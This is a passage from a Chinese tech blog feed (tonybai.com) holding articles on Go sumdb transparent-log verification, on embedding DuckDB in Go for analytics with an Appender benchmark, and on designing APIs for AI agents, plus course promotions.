Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust\n大家好，我是Tony Bai。\n在 Go 语言的日常开发中，go get 是我们最熟悉的命令之一。我们理所当然地认为，只要指定了版本号，从 GitHub 或其他代码托管平台拉取下来的代码就是安全、一致的。然而，现实却远比这脆弱——Git 的 Tag 是可变的。攻击者可以发布一个带有后门的 v1.2.3 版本，在诱导受害者下载后，再通过 Force-push 将其替换为干净的代码，从而在代码审查的眼皮底下“瞒天过海”。\n为了应对这种极其隐蔽的软件供应链攻击，Go 团队祭出了其包管理生态中的终极武器：Go Checksum Database (sumdb)。但很多Go开发者并不清楚Go sumdb背后的工作机制。 本文将结合 Russ Cox 和 Filippo Valsorda 的核心设计文档，拆解一下 sumdb 究竟是如何利用透明日志（Transparent Logs）和精妙的瓦片化（Tiling）算法，在不信任任何中央服务器的前提下，为全球 Go 开发者构筑起一道坚不可摧的密码学防线的。\nTOFU 困境与“多疑的客户端” 自 Go 1.11 引入 Modules 以来，go.sum 文件成为了每个项目不可或缺的部分。它记录了依赖包的预期加密哈希值。只要 go.sum 存在，明天下载的代码就必须和今天一模一样。\n但这带来了一个经典的密码学难题：TOFU（Trust On First Use，首次使用时信任）。\n当你在项目中第一次引入某个第三方包时，本地没有它的哈希记录。此时 go 命令只能“盲目”去源站(一般是github)下载，计算哈希并写入 go.sum。如果恰好在这一次下载时网络被劫持，或者作者刚好推送了恶意代码，那么恶意代码的哈希就会被“合法化”并永久记录在你的项目中。\n为了解决 TOFU 问题，Go 官方设立了 sum.golang.org，一个记录全球所有公开 Go 模块版本哈希的中央校验和数据库。\n但是，新的问题随之而来：如果连 Google 运营的这个中央数据库也被黑客攻破了呢？或者如果服务器故意向特定用户返回伪造的哈希值呢？\nGo 团队的答案是：设计一个“多疑的客户端”。go 命令绝不盲目信任 sumdb 服务器返回的任何一条数据，而是要求服务器提供严密的数学证明。这套证明体系的基石，就是 透明日志（Transparent Logs）。\n核心底座：透明日志（Transparent Logs）深度解析 透明日志本质上是一个只追加（Append-Only）的防篡改数据结构，其核心是默克尔树（Merkle Tree）。在 sumdb/tlog/tlog.go 源码中，我们可以清晰地看到这棵树的构建过程。\n树的构建与防碰撞设计 透明日志将每一个模块的版本和哈希记录作为树的叶子节点。两两相邻的叶子节点哈希相加，生成父节点的哈希，层层向上，最终生成一个唯一的树根哈希（Tree Hash）。\n为了防止经典的“第二原像攻击”（即攻击者构造一个叶子节点，使其哈希值碰巧等于某个内部节点的哈希值），tlog.go 在计算哈希时进行了极其严谨的域隔离（Domain Separation）前缀设计：\n// 源码文件：sumdb/tlog/tlog.go // 计算叶子节点（Record）哈希，前缀加 0x00 func RecordHash(data []byte) Hash { h := sha256.New() h.Write([]byte{0x00}) // RFC 6962: SHA256(0x00 || data) h.Write(data) // ... } // 计算内部节点哈希，前缀加 0x01 func NodeHash(left, right Hash) Hash { var buf[1 + HashSize + HashSize]byte buf[0] = 0x01 // RFC 6962: SHA256(0x01 || left || right) copy(buf[1:], left[:]) copy(buf[1+HashSize:], right[:]) return sha256.Sum256(buf[:]) } 这个唯一的树根哈希代表了此刻全球 Go 生态所有公开包的完整历史状态。任何一个历史字节的篡改，都会导致根哈希发生雪崩式的变化。\n存在性证明 当客户端向 sumdb 查询 rsc.io/quote@v1.5.2 时，服务器不仅返回记录，还会返回一条证明路径。\n如上图所示，如果客户端想验证黄绿色的 Record 1 是否在树中，服务器只需提供旁边黄色的节点（Record 0 和 Node Hash L1-1）的哈希值。客户端在本地通过 NodeHash(RecordHash(Record 1), Record 0) 计算出 N1，再与 N2 结合计算出 Root。\n如果计算出的 Root 与官方公布的根哈希一致，这在数学上就绝对证明了：该模块的哈希确实被官方收录，绝无伪造可能。 这一过程的时间复杂度仅为 O(log N)。\n一致性证明 这是防止服务器“撒谎”的终极杀手锏。\n如果 sumdb 服务器被黑客控制，黑客针对“受害者 A”返回一棵包含后门记录的“伪造树”，而对其他用户返回“正常树”（这种攻击被称为 Fork Attack）。该如何防范？\n客户端在每次成功通信后，都会将当前的树大小（N）和根哈希（T）持久化在本地（通常位于 $GOPATH/pkg/sumdb/sum.golang.org/latest）。\n下一次通信时，如果服务器声称树长大了（规模变为 N’，新哈希为 T’），客户端会要求服务器出具一致性证明。客户端通过比对两条证明路径，在本地强校验：新的树 T’，是否完美且完整地包含了旧树 T 的所有历史记录？\n如果历史被重写，一致性校验必将失败。客户端会立即阻断构建，并抛出带有详细密码学证据的 SECURITY ERROR。\n工程奇迹：瓦片化（Tiling）算法 理论虽然完美，但落地面临着巨大的工程挑战：全球几百万 Go 开发者，每次 go get 都要向中央服务器请求动态计算的 Merkle Tree 证明，服务器算力绝对会瞬间崩溃。此外，动态生成的证明根本无法被 CDN 缓存。\n为了解决这个问题，Russ Cox 引入了一项堪称艺术的设计：日志瓦片化（Tiling a Log）。\n参考 Google Maps 将全球地图切分为静态切片（Tiles）的思路，sumdb 没有提供动态计算的证明 API，而是将整棵庞大的哈希树，按照固定的高度（默认 Height = 8）切分成了无数的静态“瓦片”。\n在 sumdb/tlog/tile.go 源码中，每个 Tile 都有一个三维坐标 tile/H/L/N：\nH (Height): 瓦片高度（默认为 8，即每个瓦片最多包含 $2^8 = 256$ 个哈希值）。 L (Level): 瓦片在树中的层级。 N (Number): 瓦片的水平索引。 瓦片化带来的工程收益是巨大的：\n动态变静态：服务器只需不断生成包含哈希值的静态二进制文件，不需要消耗 CPU 动态计算证明。 极度缓存友好：一旦某个瓦片被填满（存满 256 个哈希），它就永远不再变化。这意味着 CDN 边缘节点、企业内部代理（如 Athens、Goproxy.cn）可以永久缓存这些瓦片。超过 99% 的 sumdb 请求直接命中缓存，根本不会打到 Google 的源站。 宽带极度节省：一个高度为 8 的完整哈希瓦片只有 8KB 大小。客户端下载几个静态瓦片，就可以在本地内存中拼装出任意所需的证明路径。 源码追踪：go get 的隐秘战线 当我们在命令行敲下 go get 时，底层到底发生了什么？翻开 sumdb/client.go 的源码，我们可以看到严密的防御逻辑：\n获取最新签名树头： 客户端首先请求 /latest 接口。服务器返回由官方 Ed25519 密钥签名的树大小和根哈希。\n客户端使用 sumdb/note 包（基于加盐哈希和 Base64）验证签名的合法性。\n查询模块位置（Lookup）： 执行 Client.Lookup(“rsc.io/quote”, “v1.5.2″)。向服务器请求 /lookup/rsc.io/quote@v1.5.2，服务器返回该模块在日志中的记录编号（Record ID）以及该记录的文本内容。\n下载瓦片并行验证（Read and Verify Tiles）： 客户端利用记录编号，推算出需要哪些瓦片才能构建从叶子节点到根哈希的证明路径（在 tileHashReader.ReadHashes 中实现）。\n客户端并行下载缺失的静态瓦片文件 /tile/8/0/x001 等，并在本地执行 tlog.ProveRecord 和 tlog.ProveTree 进行存在性和一致性校验。\n安全落地（Merge \u0026amp; Write）： // 源码片段：sumdb/client.go if err := c.checkRecord(id, text); err != nil { return cached{nil, err} // 存在性校验失败 } if err := c.mergeLatest(treeMsg); err != nil { return cached{nil, err} // 一致性校验失败 (防 Fork 攻击) } 只有当数学证明完全成立时，go 命令才会将该模块的哈希写入你本地项目的 go.sum 文件中，并将其缓存，供后续使用。\n跨界延伸：透明日志还能用在哪里？ 透明日志机制并非 Go 语言独享，它是现代数字信任体系的基石架构。除了保护 Go 的供应链，它还在以下领域发挥着无可替代的作用：\n证书透明度 (Certificate Transparency, CT)： 这是透明日志最著名的大规模应用。Google Chrome 强制要求全球所有受信任的证书颁发机构（CA）必须将颁发的 TLS/SSL 证书记录到公共的透明日志中，以防止恶意 CA 伪造域名证书。sumdb包源码中的 tlog.go 中甚至包含了直接解析 CT 日志结构（RFC 6962）的测试代码。 2. 二进制透明度与 Sigstore (Binary Transparency)：\n开源界防范供应链攻击的明星项目 Sigstore (Rekor) 同样基于透明日志构建。它用于记录软件构件（如 Docker 镜像、二进制可执行文件）的签名活动，确保构建产物不被掉包。 3. 防篡改金融账本与可信审计：\n任何需要解决“事后抵赖”和“选择性欺骗”的系统——如电子投票、金融交易核心流水、甚至区块链的 Layer2 状态提交——都可以利用透明日志（Append-only + Merkle Proof）来保证数据的永恒性和不可否认性。\n小结：看不见的盾牌 在这个充满漏洞和供应链投毒的黑暗森林里，Go 语言之所以能成为安全开发的避风港，绝不仅仅是因为静态类型或内存安全。\nsumdb 的设计展现了 Go 核心团队的高超的工程智慧：他们不强求开发者去信任任何外部服务器（甚至是他们自己运营的服务器），而是将信任建立在严密的代码、数学逻辑和密码学证明之上。\n当你的屏幕上飞速闪过 go get 的进度条，并在零点几秒内完成构建时，请记住：你的本地机器刚刚与全球见证的密码学巨树完成了一次无声的灵魂校验。\n参考资料 https://go.googlesource.com/proposal/+/master/design/25530-sumdb.md https://research.swtch.com/tlog https://pkg.go.dev/go.transparencylog.com/mod/sumdb 你信任你的 Proxy 吗？\n密码学的魅力在于“不信任任何人，只信任数学”。在你的日常开发中，你是否曾遭遇过依赖包版本冲突或疑似被“掉包”的经历？你认为透明日志这种机制，是否应该成为所有包管理器的标配？\n欢迎在评论区分享你的供应链安全感悟！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-sumdb-transparent-logs-supply-chain-trust-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust\"\u003ehttps://tonybai.com/2026/03/14/go-sumdb-transparent-logs-supply-chain-trust\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的日常开发中，go get 是我们最熟悉的命令之一。我们理所当然地认为，只要指定了版本号，从 GitHub 或其他代码托管平台拉取下来的代码就是安全、一致的。然而，现实却远比这脆弱——Git 的 Tag 是可变的。攻击者可以发布一个带有后门的 v1.2.3 版本，在诱导受害者下载后，再通过 Force-push 将其替换为干净的代码，从而在代码审查的眼皮底下“瞒天过海”。\u003c/p\u003e","title":"拒绝“偷天换日”！深度拆解 Go sumdb 的密码学防线"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction\n大家好，我是Tony Bai。\n设想这样一个极其普遍的日常工作场景：\n产品经理找到你，希望能给业务后台加一个“简单”的数据看板，用来实时统计用户的 PV/UV 漏斗、Nginx 日志的慢查询分析，或者是 IoT 设备的近期时序数据。\n面对每天几百万到上千万条的数据量，你陷入了沉思。\n如果直接用 MySQL/PostgreSQL 跑 GROUP BY 和 COUNT(DISTINCT)，数据库的 CPU 瞬间飙到 100%，不仅查询要等上十几秒，甚至可能把核心交易业务一起拖死。\n如果为了这个需求，去大动干戈地部署一套 ClickHouse、Elasticsearch 、Spark 集群或某个大型时序数据库……不仅运维成本上天，对于这点数据量来说，简直是用高射炮打蚊子。\n在“传统关系型数据库跑不动”和“大数据集群太沉重”之间，难道就没有一个恰到好处的方案吗？\n今天，我想给你介绍一个在海外工程界使用较多的方案。它不仅能把你从沉重的大数据组件中解救出来，还能在你的 Go 语言单二进制文件中，塞进一个性能恐怖的 OLAP（在线分析处理）引擎。\n它就是 DuckDB。结合 Go 语言，它能在普通服务器上跑出每秒 1800 万条记录的写入速度，和毫秒级的亿级数据分析延迟。\n这绝对是一场对传统数据架构的降维打击。\n为什么 MySQL/PG 做不好数据分析？ 很多开发者在职业生涯早期都会踩这个坑：试图用 MySQL 解决一切问题。\n当你在 PostgreSQL 或 MySQL 中执行一个跨度为 30 天的聚合分析时，为什么会慢得让人绝望？因为它们的底层是**“行式存储（Row-oriented）”**。\n在行式存储中，即使你只需要 user_id 和 timestamp 这两列，数据库也必须把每一行的所有字段（包括那些庞大的 JSON 或 Text 字段）全部从磁盘加载到内存中。大量无用的 I/O 消耗，让分析查询变成了灾难。\n为了解决这个问题，我们被迫引入了 ClickHouse 等“列式存储（Column-oriented）”数据库。列式存储让分析查询的速度提升了上百倍，但代价是：你需要额外部署和维护分布式集群、学习复杂的表引擎配置等。\nDuckDB——OLAP 界的 SQLite 难道列式存储就必须伴随着复杂的集群部署吗？\nDuckDB 给出了一个极其优雅的答案：做 OLAP 领域的 SQLite。\nDuckDB 是一个纯粹的嵌入式列式数据库。它没有独立的服务器进程，而是内嵌在你的应用进程中，不需要你配置任何网络端口。它有很多语言的binding，包括Go。\n在 Go 项目中，你只需要简单地 import “github.com/duckdb/duckdb-go/v2″，它就会作为动态/静态链接库，直接融入你的 Go Application 进程中。\n但千万别因为“嵌入式”三个字就觉得它是玩具。社区的一款开源高性能数据库 Arc（基于 Go + DuckDB）给出了一份令人毛骨悚然的实测数据(基于MacBook Pro M3 Max (14 cores, 36GB RAM, 1TB NVMe))：\n写入性能：高达 18.6M+（1860万）记录/秒 写入延迟：P50 \u0026lt; 0.5ms，P99 \u0026lt; 4ms 查询性能：6M+（600万）行/秒扫描 (Arrow格式) 它是怎么做到的？除了列式存储，它底层还偷偷藏着两个大杀器：向量化执行引擎（Vectorized Execution） 和对 Parquet 格式的原生支持。\n手把手拆解 1800 万/秒的极致写入 口说无凭，我们直接上硬核源码。\n很多新手刚接入 DuckDB 时，会习惯性地用标准 SQL 的 INSERT INTO … VALUES 去循环写数据。你会发现速度并不快，一秒钟只能写几万条。\n真正的降维打击，藏在 DuckDB 专门为 Go 语言暴露的 Appender API 中。\nAppender 绕过了繁琐的 SQL 解析器和规划器，直接将 Go 的内存数据格式，以极低的开销批量“灌”入 DuckDB 的底层列存结构中。来看这段极致狂暴的写入代码：\n// https://go.dev/play/p/mHXu-kAydDX package main import ( \u0026#34;context\u0026#34; \u0026#34;database/sql\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; duckdb \u0026#34;github.com/duckdb/duckdb-go/v2\u0026#34; ) func main() { // 1. 用 NewConnector 创建连接器（指定数据库文件） connector, err := duckdb.NewConnector(\u0026#34;analytics.db\u0026#34;, nil) if err != nil { log.Fatal(err) } defer connector.Close() // 2. 用 sql.OpenDB 打开标准 db（用于建表等 SQL 操作） db := sql.OpenDB(connector) defer db.Close() _, err = db.Exec(CREATE TABLE IF NOT EXISTS metrics (id INTEGER, name VARCHAR, value DOUBLE, ts TIMESTAMP)) if err != nil { log.Fatal(err) } // 3. 用 connector.Connect() 获取底层 driver.Conn（Appender 需要这个） conn, err := connector.Connect(context.Background()) if err != nil { log.Fatal(err) } defer conn.Close() // 4. 直接传 driver.Conn，无需 Raw() appender, err := duckdb.NewAppenderFromConn(conn, \u0026#34;\u0026#34;, \u0026#34;metrics\u0026#34;) if err != nil { log.Fatal(err) } defer appender.Close() startTime := time.Now() for i := 0; i \u0026lt; 100000; i++ { err := appender.AppendRow( int32(i), fmt.Sprintf(\u0026#34;metric_%d\u0026#34;, i%10), float64(i%100), time.Now(), ) if err != nil { log.Fatal(err) } } elapsed := time.Since(startTime) fmt.Printf(\u0026#34;插入 10 万条数据耗时: %v\\n\u0026#34;, elapsed) fmt.Printf(\u0026#34;吞吐量: %.0f 记录/秒\\n\u0026#34;, 100000.0/elapsed.Seconds()) } 在我的一台2019款 普通 MBP 笔记本(Intel芯片)上，上述这段代码写入 10 万条数据仅需 69 毫秒。\n插入 10 万条数据耗时: 69.466586ms 吞吐量: 1439541 记录/秒 换算下来，吞吐量轻松突破 143 万条/秒。如果开启并发和更大批次，逼近千万级似乎也毫无压力。这比传统的 SQL INSERT 快了整整 100 倍！\n替代 ELK，只需一个 Go 二进制文件 掌握了这把利器，我们该如何在实际业务中发挥它的威力？\n假设你有一个 10GB 的 Nginx 日志文件（或者 CSV 文件），老板让你马上查一下昨天的 PV、UV 和慢查询排行。\n过去，你需要搭建 Logstash -\u0026gt; Elasticsearch -\u0026gt; Kibana 这一套全家桶。\n现在，你只需要写几十行 Go 代码。DuckDB 支持直接查询 CSV 和 Parquet 文件，连数据导入都省了！\n你可以直接把底层的统计逻辑嵌在你的 Go REST API 里(仅作说明使用)：\n// 直接在 Go 代码中，把 DuckDB 当作微型分析网关 func (adb *AnalyticsDB) GetHourlyStats() (map[string]interface{}, error) { // 惊人特性：直接用 SQL 语法查询本地或 S3 上的 Parquet 压缩文件！ rows, err := adb.db.Query( SELECT DATE_TRUNC(\u0026#39;hour\u0026#39;, timestamp) as hour, COUNT(*) as pv, COUNT(DISTINCT path) as uv FROM read_parquet(\u0026#39;s3://my-bucket/nginx_logs/*.parquet\u0026#39;) -- 对 Parquet 格式的原生支持与深度优化（谓词下推、列裁剪），可跳过无关数据块，大幅减少实际 I/O WHERE timestamp \u0026gt; NOW() - INTERVAL \u0026#39;24 hours\u0026#39; GROUP BY hour ORDER BY hour DESC ) // ... 解析并返回给前端 } 通过这种架构，你的 Go 语言 Web 服务瞬间拥有了媲美 ClickHouse 的 OLAP 分析能力。\n最绝的是，整个系统的部署产物，仅仅是一个几十 MB 的 Go 二进制文件。没有额外的依赖，丢上服务器就能跑。\n小结：它不是万能的银弹 虽然 DuckDB 强到离谱，但作为高级工程师，我们必须理智看待边界。\nDuckDB 绝对不适合做高并发的 OLTP（在线事务处理）。\n如果你用它来扛电商的下单扣库存、或者多用户的并发更新行数据，它会死得很惨。因为它是一头为了“大吞吐分析”而生的巨兽，并没有针对行级锁和高频短事务做优化。\n所以，最完美的现代架构公式应该是：\nPostgreSQL/MySQL（负责核心业务流） + Go 应用内嵌 DuckDB（负责旁路日志、报表聚合的简单轻量分析）。\n** 今日互动探讨：**\n你在公司里遇到过哪些“为了小数据杀鸡用牛刀，强行部署大集群”的奇葩架构？或者你平时处理百万级数据分析时，最爱用什么工具？\n欢迎在评论区疯狂吐槽或分享！\n认知跃迁：掌控架构降维打击的底层逻辑\n看到这里，你是否对日常的业务开发有了全新的视角？\n在过去，面对复杂的分析需求，CRUD 程序员的本能反应是“引入一个新的重量级中间件”。\n但真正的高级架构师，懂得利用底层技术栈的差异性（如行存与列存、向量化与标量计算），用最轻量、最克制的方案完成“降维打击”。\n如果你的 Go 技能依然停留在写写简单的增删改查 API，对更深层的并发控制、内存管理和系统级架构选型感到迷茫——\n我的极客时间专栏《Go语言进阶课》正是为你量身打造！\n在这 30+ 讲硬核内容中，我将带你剥开语法糖，深入理解 Go 的底层运行机制，不仅教你写代码，更教你像顶级大厂架构师一样思考：如何用最少的组件，设计出极高并发、极低延迟的优雅系统。\n目标只有一个：助你完成从“Go 熟练工”到“能做顶级架构决策的 Go 专家”的蜕变！\n扫描下方二维码，加入专栏，让我们一起用技术实现“四两拨千斤”的震撼。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-duckdb-micro-data-warehouse-dimensionality-reduction-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction\"\u003ehttps://tonybai.com/2026/03/13/go-duckdb-micro-data-warehouse-dimensionality-reduction\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e设想这样一个极其普遍的日常工作场景：\u003c/p\u003e\n\u003cp\u003e产品经理找到你，希望能给业务后台加一个“简单”的数据看板，用来实时统计用户的 PV/UV 漏斗、Nginx 日志的慢查询分析，或者是 IoT 设备的近期时序数据。\u003c/p\u003e","title":"别再滥用 ClickHouse 了！单机每秒狂刷 1800 万条数据，拆解 Go+DuckDB 的“微型数仓”降维打击"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/12/building-for-trillions-of-agents\n大家好，我是Tony Bai。\n如果你看一眼2025年 Web 流量统计报告，你会发现一个令人脊背发凉的残酷真相：人类，在互联网上已经正式成为少数派，机器流量已历史性突破 50%。\n硅谷创业教父 Paul Graham 曾有一句被无数创业者和产品经理奉为圭臬的名言：“Make something people want.”（做人们想要的东西）。\n但在今天，如果你还在死磕这句话，你可能会死得很惨。在这个 AI Agent（智能体）全面爆发的前夜，这句箴言必须被冷酷地改写为：\n“Make something Agents want.”（做智能体想要的东西）。\n因为未来的超级软件，根本不需要界面。\n你精心打磨的 UI，在 AI 眼里一文不值 过去这几年，我们的开发者和 SaaS 创业者都在疯狂地“卷”前端：我们花了无数个熬红双眼的夜晚，去优化页面的停留时长，去测试按钮的颜色，去设计无比华丽的交互动画和留客弹窗。\n我们试图把最核心的功能藏在复杂的 Web 界面后，以此作为产品的“护城河”。\n但现实狠狠地给了我们一记耳光。\n因为在未来，那些高度硬核的知识工作者（首当其冲是程序员），将不再亲自去挑选工具、注册账号、点击鼠标。他们只会向自己的 Claude Code 或 OpenClaw 下达指令：“帮我把这个数据库清洗一遍。”\nAgent 会成为那个真正“做决定”和“使用产品”的人。\nYCombinator 的合伙人 Jared Friedman 曾一针见血地指出过现存系统最致命的 Bug：目前大多数标榜牛逼的开发者工具，依然不允许你通过纯 API 来注册账号和获取 Key。\n如果你的系统不能让 Agent 瞬间自动注册并调用，那你的服务在硅基生命眼里就等于“死”了。Agent 根本没有耐心去看你的华丽网页，更不会去看你的网络研讨会（Webinar）。它只会默默绕过你，去寻找那些 API 最清晰、对机器最友好的竞品。\n旧时代的 PLG（Product-Led Growth，产品驱动增长）漏斗彻底失效，我们正在进入一个由“API 文档决定生死”的时代。\n旧商业模式崩塌，万亿 Agent 的新基建 当我深入研究目前最前沿的 Agent 生态时，我发现，不仅仅是前端 UI 失效了，连我们习以为常的“按人头收费（Seat-based）”的商业模式也在崩塌。\n试想一下，如果一个企业从 50 个普通人类员工，变成了“50 个人类 + 5000 个全天候运行的 Agent”，按人头收费的逻辑怎么算？\nAgent 的工作负载是爆发式的，它可能在一秒钟内发起 50 次并发请求，瞬间击穿你原本为“人类手速”设计的限流（Rate Limit）网关。\n不要再去应用层卷那些同质化的 AI 壳子了。真正聪明的开发者，已经开始为万亿规模的 Agent 造轮子。以下是四大正在爆发的基础设施赛道：\nAgent 的沙盒计算层：未来的服务器农场不是为了托管人类的网站，而是为了托管 Agent 的无状态执行沙盒（如 E2B）。 Agent 的身份与钱包：Agent 需要在互联网上爬取付费资源，Stripe 级别的微支付（Microtransactions）将迎来真正的机器间交易刚需。 机器间的服务发现（Service Discovery）：当人类退居幕后，Agent 之间如何知道对方能提供什么服务？我们需要机器与机器之间的“握手协议”。 信任与越权治理：当 Agent 带着你的授权去操作公司核心 CRM 时，如何防止它“幻觉越权”？ 图：E2B沙盒运行示意图\nAgent-First 时代的生存铁律 Perplexity CEO Aravind Srinivas 说过一句极具穿透力的话：“把电脑给电脑，让它们为人类创造与人类使用电脑时相同的输出，是一个更好的主意。”\n在这个不可逆转的软件重心转移中，普通开发者该如何避免被淘汰？请牢记以下三条铁律：\n铁律一：API 就是你的最终 UI。 如果你的核心功能没有暴露在 API、CLI（命令行）或 MCP (Model Context Protocol) 接口中，它就不存在。 铁律二：文档是写给机器看的。 你的 –help 文档和 API Schema 必须极度结构化，让 Agent 的大语言模型能做到“一秒读懂、零次试错”。 铁律三：放弃闭环壁垒，拥抱极致的可组合性（Composability）。 打造干净的、无状态的、可被机器随时读取和拼接的工作流。 丢掉鼠标，成为“造规则”的人 未来的十年，是复杂性从“人机交互”向“机器间协议”下沉的十年。\n作为开发者，现在最紧迫的任务，就是明天上班打开你的项目，问自己一个问题：“如果不用网页，一个纯粹的 AI Agent 能在 5 秒内调通我的核心链路吗？”\n去构建那些没有界面的、纯粹的、让 Agent 感到舒适的系统吧，它们才是下一个时代的王者。\n参考资料：\nhttps://x.com/levie/status/2030714592238956960 https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report 今日互动吐槽：\n你觉得目前市面上，哪个常用产品/SaaS 的 API 设计得最反人类、最让 AI（和你自己）抓狂？\n欢迎在评论区疯狂吐槽！\n认知跃迁：如何抢跑 Agent 原生时代？\n理念再宏大，如果不落实到代码上，宏大叙事就只是别人的狂欢。\n很多老读者问我：“Tony 老师，道理我都懂，但我该如何从零开始，改造现有系统，设计一套自描述的 MCP 接口？又该如何让 Claude Code 帮我跑通复杂的自动化工作流？”\n光靠看研报是学不会造轮子的。与其焦虑自己会被 AI 淘汰，不如抢先一步，成为驾驭 AI 的那个人。\n在我的全新极客时间专栏 《AI原生开发工作流实战》 中，我将摒弃一切虚无缥缈的理论，直接从代码层面，手把手教你构建面向 Agent 的 API 和工具链。\n告别低效内耗，重塑开发范式：带你用 AI 抹平代码复杂度的壁垒，专注于业务与架构的本质。 驾驭 AI Agent 工作流：手把手教你实现从需求分析、MCP 接口设计到代码生成的自动化流水线。 实现职场跃升：从苦哈哈的“写死代码的搬砖人”，进化为用规则驱动万物互联的**“工作流指挥家”**。 别再执着于网页上按钮的颜色了。扫描下方二维码，加入专栏，我们一起去构建万亿硅基生命的世界基石。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/12/building-for-trillions-of-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/building-for-trillions-of-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/12/building-for-trillions-of-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/12/building-for-trillions-of-agents\"\u003ehttps://tonybai.com/2026/03/12/building-for-trillions-of-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你看一眼2025年 \u003ca href=\"https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report\"\u003eWeb 